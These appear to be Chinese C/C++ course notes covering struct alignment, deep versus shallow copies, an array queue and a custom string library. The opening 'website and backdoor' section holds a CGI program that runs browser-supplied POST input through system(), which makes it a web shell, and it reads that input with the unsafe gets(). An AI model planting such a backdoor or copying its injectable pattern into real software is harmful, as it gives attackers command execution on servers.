【C/C++学院】0730-网站以及后门/结构体对齐、结构体面试分析/深拷贝与浅拷贝/队列/字符串封装

简介: <div style="top:0px"></div> <h1>网站以及后门</h1> <p><span style="font-family:宋体; font-size:14px"><br></span></p> <p style="margin:0cm 0cm 0pt"><span lang="EN-US"><span style="font-family:Calibri;


网站以及后门


Windwos安装Apache服务器软件,进行测试。Localhost


将可执行程序xxx.exe改为xxx.cgi放到apache服务器上,通过浏览器进行访问。

#define   _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

void main()
{
	printf("Content-type:text/html\n\n");
	printf("%s<br><br>",  getenv("QUERY_STRING"));//打印环境变量
	char szPost[256] = {0};
	gets(szPost);//获取输入
	printf("%s<br><br>", szPost);//获取输入
	//"BBB=tasklist&AAA=%C7%EB%BD%F8
	char *p = szPost + 4;//0,1,2,3
	char *p1 = strchr(szPost, '&');
	*p1 = '\0';

	char cmd[256] = { 0 };
	sprintf(cmd, "%s >1.txt", p);//字符串映射
	system(cmd);
	FILE *pf = fopen("1.txt", "r");
	while (!feof(pf))//如果没有到文件末尾就继续
	{
		char ch = fgetc(pf);
		if (ch == '\n')
		{
			printf("<br><br>");//换行
		}
		else
		{
			putchar(ch);//打印字符
		}		
	}
}

结构体对齐、结构体面试分析

#include<stdio.h>
#include<stdlib.h>

//最宽基本基本成员,char , int,double,结构体数组都不是最宽基本成员
//结构体大小必须可以整除最宽基本成员,是最宽基本成员的整数倍
//结构体成员地址减去结构体首地址,就是偏移量,偏移量必须可以整除成员的基本类型

struct info  
{
	char c;//1     2     4       8
	double  sh;//1    2     4    8
	char ch[9];//9 10    12      16

};
struct info1
{

	short sh1;    //8   4  //2
	int   sh;    //8    4  //4
	char ch[19];  //16  20 //19

};


void main2()
{
	struct info1  info11 = {10,200,"123456"};
	printf("%p\n", &info11);
	printf("%p\n", &info11.sh1);
	printf("%p\n", &info11.sh);
	printf("%p\n", &info11.ch);

	getchar();
}

void main1()
{
	
	printf("%d", sizeof(struct info1));


	system("pause");
}

深拷贝与浅拷贝

#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

struct string
{
	char *p;
	int length;
};

void main11()
{
	struct string str1;
	str1.length = 10;
	str1.p =(char *) malloc(sizeof(char)* 10);
	strcpy(str1.p, "hello");
	printf("\nstr1.p=%s", str1.p);//输出结果
	struct string str2;
	str2.length = str1.length;
	str2.p = str1.p;
	*(str1.p) = 'k';//浅拷贝,共享内存
	printf("\nstr2.p=%s", str2.p);//输出结果
	system("pause");
}

void   main123()
{
	struct string str1;
	str1.length = 10;
	str1.p = (char *)malloc(sizeof(char)* 10);
	strcpy(str1.p, "hello");
	printf("\nstr1.p=%s", str1.p);//输出结果
	struct string str2;
	str2.length = str1.length;
	str2.p =(char *) malloc(sizeof(char)* 10);
	strcpy(str2.p, str1.p);//拷贝内存内容
	*(str1.p) = 'k'; //深拷贝是拷贝内存的内容,
	printf("\nstr2.p=%s", str2.p);//输出结果
	system("pause");
}

队列

//队列.h


#include<stdio.h>
#include<stdlib.h>

#define  N 100   //定义队列最大多少个
#define  datatype char   //定义队列的数据类型

struct queue
{
	datatype data[N];//保存数据的数组
	int front;//数据的开头  ,拉屎
	int rear;//数据的结尾,吃进去
};
typedef struct queue Q;//给已经有的类型简化一下

void  init(Q * myqueue);//初始化队列
int  isempty(Q * myqueue);//判断是否为空,1代表为空,0代表不为空

void  enQueue(Q * myqueue, datatype num);//入队,吃进去
datatype DeQueue(Q * myqueue);//出队,拉屎,返回值就是拉的
void  printfQ(Q * myqueue);//打印队列所有的元素
datatype gethead(Q * myqueue);//获取开头的一个节点

//队列.c

#include"队列.h"

void  init(Q * myqueue)//初始化队列
{
	myqueue->front = myqueue->rear = 0;//表示为空
}

int  isempty(Q * myqueue)//判断为空
{
	if (myqueue->front == myqueue->rear)
	{
		return 1;
	}
	else
	{
		return 0;
	}
}

void  enQueue(Q * myqueue, datatype num)
{
	if (myqueue->rear == N)
	{
		printf("吃东西失败");
		return ;//失败
	}
	else
	{
		myqueue->data[myqueue->rear] = num;//赋值
		myqueue->rear += 1;//增加一个
	}
}

datatype DeQueue(Q * myqueue)   //拉屎的过程
{
	if (myqueue->front == myqueue->rear)
	{
		printf("拉屎失败");
		return -1;
	}
	else
	{
		myqueue->front += 1;//拉屎
		return  myqueue->data[myqueue->front - 1];//返回你拉的
	}
}

void  printfQ(Q * myqueue)//打印队列所有的元素
{
	printf("\n");
	if (myqueue->front == myqueue->rear)
	{
		printf("\n你的肠胃为空");
	}
	else
	{
		for (int i = myqueue->front; i < myqueue->rear;i++)
		{
			printf("%c  ", myqueue->data[i]);//显示你的肠胃
		}
	}
}

datatype gethead(Q * myqueue)
{	
	if (myqueue->front == myqueue->rear)
	{
		printf("\n肠胃为空,无法找到你要最先拉的屎");
		return -1;
	}
	else
	{
		return myqueue->data[myqueue->front];//返回第一个节点
	}
}

//main.c

#include<stdio.h>
#include<stdlib.h>
#include"队列.h"


void main()
{
	Q Q1;//创建一个结构体变量
	init(&Q1);//初始化
	enQueue(&Q1, 'A');
	printfQ(&Q1);
	enQueue(&Q1, 'B');
	printfQ(&Q1);
	enQueue(&Q1, 'C');
	printfQ(&Q1);
	enQueue(&Q1, 'D');
	printfQ(&Q1);
	enQueue(&Q1, 'E');
	printfQ(&Q1);

	DeQueue(&Q1);
	printfQ(&Q1);
	DeQueue(&Q1);
	printfQ(&Q1);
	DeQueue(&Q1);
	printfQ(&Q1);
	DeQueue(&Q1);
	printfQ(&Q1);
	DeQueue(&Q1);
	printfQ(&Q1);
	DeQueue(&Q1);
	printfQ(&Q1);
	
	system("pause");
}



字符串封装

//字符串.h


#define  _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

//字符串封装,需要库函数
//不需要库函数
struct CString
{
	char *p;//保存字符串首地址
	int reallength;//实际长度
};
typedef struct CString  mystring;//简写

//字符串,初始化,打印,
//查找,查找字符,查找字符串
//尾部增加,(字符,字符串)
//删除(字符,字符串),
//任意位置增加(字符,字符串)

////修改字符串,(字符,字符串替换)
void init(mystring *string);//原封不动初始化
void initwithlength(mystring *string,int length);//开辟长度,内存清零
void initwithstring(mystring *string,char *copystring);//初始化并拷贝字符串
void printfstring(mystring *string); //打印
void backaddchar(mystring *string,char ch);//增加字符
void backaddstring(mystring *string,char*str);//增加字符串
void run(mystring *string);//执行指令
char * findfirstchar(mystring *string, char ch);//返回第一个找到的字符的地址
char * findfirststring(mystring *string, char *str);//返回第一个找到的字符串的地址
int deletefirstchar(mystring *string,const char ch);//删除第一个找到的字符
int deletefirststring(mystring *string, char * const str);//删除第一个找到的字符串
void addchar(mystring *string, char ch,char *pos);//任意增加字符
void addstring(mystring *string, char*str,char *pos);//任意增加字符串
void  changefirstchar(mystring *string, const char oldchar, const newchar);//改变字符
void changefirststring(mystring *string, char * const oldstring, char *const newstring);//改变字符串

//字符串.c

#include"字符串.h"

int mystrlen(char *p)
{
	if (p == NULL)
	{
		return -1;//失败,
	}
	int length = 0;
	while (*p != '\0')//字符串终止条件
	{
		length++;//长度自增
		p++;//指针不断向前
	}
	return length;

}

char *mystrcpy(char *dest, const char *source)//const限定不被意外修改
{
	if (dest == NULL || source == NULL)
	{
		return  NULL;//为空没有必要干活了
	}
	char * destbak = dest;
	while (*source != '\0')//一直拷贝
	{
		*dest = *source;//赋值字符
		source++;
		dest++;//指针不断向前,字符挨个赋值
	}
	*dest = '\0';//结尾
	return destbak;//返回地址
}

char *mystrcat(char *dest, const char *source)
{
	if (dest == NULL || source == NULL)
	{
		return NULL;//失败
	}
	else
	{
		char *destbak = dest;//保留地址
		while (*dest != '\0')
		{
			dest++;//指针向前移动
		}
		//从尾部开始拷贝
		while (*source != '\0') //循环被被拷贝的字符串
		{
			*dest = *source;//字符串赋值
			dest++;
			source++;
		}
		*dest = '\0';//结尾
		return destbak;

	}
}

char * mystrchr(const char *dest, const char ch)
{
	if (dest == NULL)
	{
		return NULL;
	}
	while (*dest!='\0')
	{
		if (*dest == ch)
		{
			return dest;//找到返回地址
		}
		dest++;
	}
	return  NULL;//返回
}

char *mystrstr(const char * const  dest, const char * const findstr)
{
	if (dest == NULL || findstr == NULL)
	{
		return NULL;
	}
	char *destbak = dest;
	char *p = NULL;//保存找到的地址
	while (*destbak != '\0')
	{
		int flag = 1;//假定是相等
		char *findstrbak = findstr;
		char *nowdestbak = destbak;
		while (*findstrbak != '\0')
		{
			if (*nowdestbak != '\0')
			{

				if (*findstrbak != *nowdestbak)//有一个不等
				{
					flag = 0;//赋值为0代表不等
				}
				nowdestbak++;
				findstrbak++;
			}
			else
			{
				flag = 0;//设置标识
				break;
			}
		}

		if (flag == 1)
		{
			p = destbak;//当前位置
			return p;
		}
		  destbak++;
	}
	return NULL;
}



void init(mystring *string)
{
	string->p = NULL;
	string->reallength = 0;//初始化结构体字符串
}

void initwithlength(mystring *string, int length)
{
	//string->p =(char *) malloc(sizeof(char)*length);//分配内存
	string->p = (char *)calloc(length, sizeof(char));//分配内存并清零
	string->reallength = length;//长度
}

void initwithstring(mystring *string, char *copystring)
{
	int length = strlen(copystring);//获取字符串长度
	string->p =(char *) calloc(length + 1, sizeof(char));//分配内存
	mystrcpy(string->p, copystring);//拷贝字符串
	string->reallength = length + 1;//设置长度
}

void backaddchar(mystring *string,char ch)
{
	if (mystrlen(string->p)+1==string->reallength)//意味着满了
	{
		//重新分配内存
		string->p = realloc(string->p, string->reallength + 1);
		string->reallength += 1;
		string->p[string->reallength - 2] = ch;
		string->p[string->reallength - 1] = '\0';
	}
	else
	{
		int nowlength = mystrlen(string->p);//求出当前长度
		string->p[nowlength] = ch;
		string->p[nowlength + 1] = '\0';//字符的增加
	}
}

void backaddstring(mystring *string, char*str)
{
	int nowmystringlength = mystrlen(string->p);//获取当前长度
	int addstringlength = mystrlen(str);//要增加的长度
	if (nowmystringlength + addstringlength+1 >string->reallength)//判定是否越界
	{
		int needaddlength = nowmystringlength + addstringlength + 1 - (string->reallength);
		//printf("%d", needaddlength);
		string->p = (char *)realloc(string->p, string->reallength + needaddlength);//增加字符串长度
		mystrcat(string->p, str);//拷贝字符串
		string->reallength += needaddlength;//增加长度
	}
	else
	{
		mystrcat(string->p, str);//拷贝字符串
	}
}

void printfstring(mystring *string)
{
	printf("\nstring=%s", string->p);//打印字符串
}

void run(mystring *string)
{
	system(string->p);//执行指令
}

char * findfirstchar(mystring *string, char ch)
{
	char *p = mystrchr(string->p, ch);//查找
	return p;
}

char * findfirststring(mystring *string, char *str)
{
	char *pres = mystrstr(string->p, str);
	return pres;//返回地址
}

int deletefirstchar(mystring *string, const char ch)
{
	char *p = mystrchr(string->p, ch);//查找
	if (p == NULL)
	{
		return 0;
	}
   else
   {
	   char *pnext = p + 1;
	   while (*pnext != '\0')
	   {
		   *p = *pnext; //删除一个字符整体向前移动
		   p++;
		   pnext++;
	   }
	   *p = '\0';//字符串要有结尾
	   return 1;
    }
}

int deletefirststring(mystring *string, char * const str)
{
	char *pres = mystrstr(string->p, str);//查找
	if (pres == NULL)
	{
		return 0;
	}
	else
	{
		int length = mystrlen(str);//求字符串长度
		char *pnext = pres + length;//下一个字符
		while (*pnext != '\0')
		{
			*pres = *pnext; //删除一个字符整体向前移动
			pres++;
			pnext++;
		}
		*pres = '\0';//字符串要有结尾
		return 1;
	}
}

void addchar(mystring *string, char ch, char *pos)
{
	if (pos == NULL || string ==NULL)
	{
		return;
	}
	if(mystrlen(string->p) + 1 == string->reallength)//意味着满了
	{
		//重新分配内存
		string->p = realloc(string->p, string->reallength + 1);
		string->reallength += 1;

		int nowlength = mystrlen(string->p);//求出当前长度
		int movelength = mystrlen(pos);//求出现在要移动的长度
		for (int i = nowlength; i > nowlength - movelength; i--)//移动
		{
			string->p[i] = string->p[i - 1];//轮询
		}
		string->p[nowlength - movelength] = ch;//插入

		string->p[nowlength + 1] = '\0';//结尾
	}
	else
	{
		int nowlength = mystrlen(string->p);//求出当前长度
		int movelength = mystrlen(pos);//求出现在要移动的长度
		for (int i = nowlength; i > nowlength-movelength; i--)//移动
		{
			string->p[i] = string->p[i - 1];//轮询
		}
		string->p[nowlength - movelength]=ch;//插入
		string->p[nowlength + 1] = '\0';//结尾    
	}

}

void addstring(mystring *string, char*str, char *pos)//任意增加字符串
{
	if (pos == NULL || string == NULL)
	{
		return;
	}
	int nowmystringlength = mystrlen(string->p);//获取当前长度
	int addstringlength = mystrlen(str);//要增加的长度
	if (nowmystringlength + addstringlength + 1 >string->reallength)//判定是否越界
	{
		int needaddlength = nowmystringlength + addstringlength + 1 - (string->reallength);
		//printf("%d", needaddlength);
		string->p = (char *)realloc(string->p, string->reallength + needaddlength);//增加字符串长度
		string->reallength += needaddlength;//增加长度

		//先移动,再拷贝
		int nowlength = mystrlen(string->p);//求出当前长度
		int movelength = mystrlen(pos);//求出现在要移动的长度
		int insertlength = strlen(str);//要求出插入的长度

		for (int i = nowlength; i >=nowlength-movelength ; i--)
		{
			string->p[i + insertlength]=string->p[i];//字符移动
		}
		for (int j = 0; j < insertlength;j++)
		{
			string->p[nowlength-movelength+j]= str[j];//赋值拷贝
		}
	}
	else
	{
		int nowlength = mystrlen(string->p);//求出当前长度
		int movelength = mystrlen(pos);//求出现在要移动的长度
		int insertlength = strlen(str);//要求出插入的长度
		for (int i = nowlength; i >= nowlength - movelength; i--)
		{
			string->p[i + insertlength] = string->p[i];//字符移动
		}
		for (int j = 0; j < insertlength; j++)
		{
			string->p[nowlength - movelength + j] = str[j];//赋值拷贝
		}
	}
}

void  changefirstchar(mystring *string, const char oldchar, const newchar)//改变字符
{
	char *pstr = string->p;
	while (*pstr != '\0')
	{
		if (*pstr == oldchar)//查找
		{
			*pstr = newchar;//赋值
			return;
		}
		pstr++;
	}
}

void changefirststring(mystring *string, char * const oldstring, char *const newstring)//改变字符串
{
	char *pfind = findfirststring(string, oldstring);//找到位置
	if (pfind != NULL)
	{
		deletefirststring(string, oldstring);//删除
		addstring(string, newstring, pfind);//插入
	}
}

//main.c

#include<stdio.h>
#include<stdlib.h>
#include"字符串.h"
void main()
{

	mystring string1;
	initwithstring(&string1,  "note");
	printfstring(&string1);

	//backaddchar(&string1, 'd');
	backaddstring(&string1, "padnotepadnotepad");
	printfstring(&string1);
	while (findfirststring(&string1,"notepad"))
	{
		changefirststring(&string1, "notepad", "123456789");
	}

	//char *p = findfirstchar(&string1, 't');
	//if (p != NULL)
	//{
	//	addstring(&string1, "12345", p);
	//}


	//deletefirstchar(&string1, 'e');
	//deletefirststring(&string1, "pad");

	//char *strp = findfirstchar(&string1, 'a');
	//*strp = 'A';
	/*char *strp = findfirststring(&string1, "ada");
	if (strp != NULL)
	{
		*strp = 'X';
	}*/
	printfstring(&string1);
	

	//run(&string1);


	system("pause");

}




目录
相关文章
|
16天前
|
搜索推荐 编译器 C语言
【C++核心】特殊的元素集合-数组与字符串详解
这篇文章详细讲解了C++中数组和字符串的基本概念、操作和应用,包括一维数组、二维数组的定义和使用,以及C风格字符串和C++字符串类的对比。
56 4
|
16天前
|
程序员 编译器 C++
【C++核心】C++内存分区模型分析
这篇文章详细解释了C++程序执行时内存的四个区域:代码区、全局区、栈区和堆区,以及如何在这些区域中分配和释放内存。
39 2
|
2月前
|
C++
c++学习笔记07 结构体
C++结构体的详细学习笔记07,涵盖了结构体的定义、使用、数组、指针、嵌套、与函数的交互以及在结构体中使用const的示例和解释。
34 0
|
1天前
|
存储 算法 搜索推荐
对二叉堆的简单分析,c和c++的简单实现
这篇文章提供了对二叉堆数据结构的简单分析,并展示了如何在C和C++中实现最小堆,包括初始化、插入元素、删除最小元素和打印堆的函数,以及一个示例程序来演示这些操作。
25 19
|
15小时前
|
C++
c++面经系列0:开篇-c++岗位面试都会问些什么?
c++面经系列0:开篇-c++岗位面试都会问些什么?
|
16天前
|
存储 算法 C++
【C++核心】结构体、共用体详解
这篇文章详细讲解了C++中结构体和共用体的概念、定义、使用场景和案例,包括结构体的创建、数组、指针、嵌套、函数参数传递,以及共用体的特点和应用实例。
17 4
|
2天前
|
编译器 C语言 C++
C/C++数字与字符串互相转换
C/C++数字与字符串互相转换
|
1月前
|
Ubuntu Linux Shell
C++ 之 perf+火焰图分析与调试
简介 在遇到一些内存异常的时候,经常这部分的代码是很难去进行分析的,最近了解到Perf这个神器,这里也展开介绍一下如何使用Perf以及如何去画火焰图。 1. Perf 基础 1.1 Perf 简介 perf是Linux下的一款性能分析工具,能够进行函数级与指令级的热点查找。利用perf剖析程序性能时,需要指定当前测试的性能时间。性能事件是指在处理器或操作系统中发生的,可能影响到程序性能的硬件事件或软件事件 1.2 Perf的安装 ubuntu 18.04: sudo apt install linux-tools-common linux-tools-4.15.0-106-gen
24 2
|
12天前
|
C++
继续更新完善:C++ 结构体代码转MASM32代码
继续更新完善:C++ 结构体代码转MASM32代码
|
12天前
|
C++
HTML+JavaScript构建一个将C/C++定义的ANSI字符串转换为MASM32定义的DWUniCode字符串的工具
HTML+JavaScript构建一个将C/C++定义的ANSI字符串转换为MASM32定义的DWUniCode字符串的工具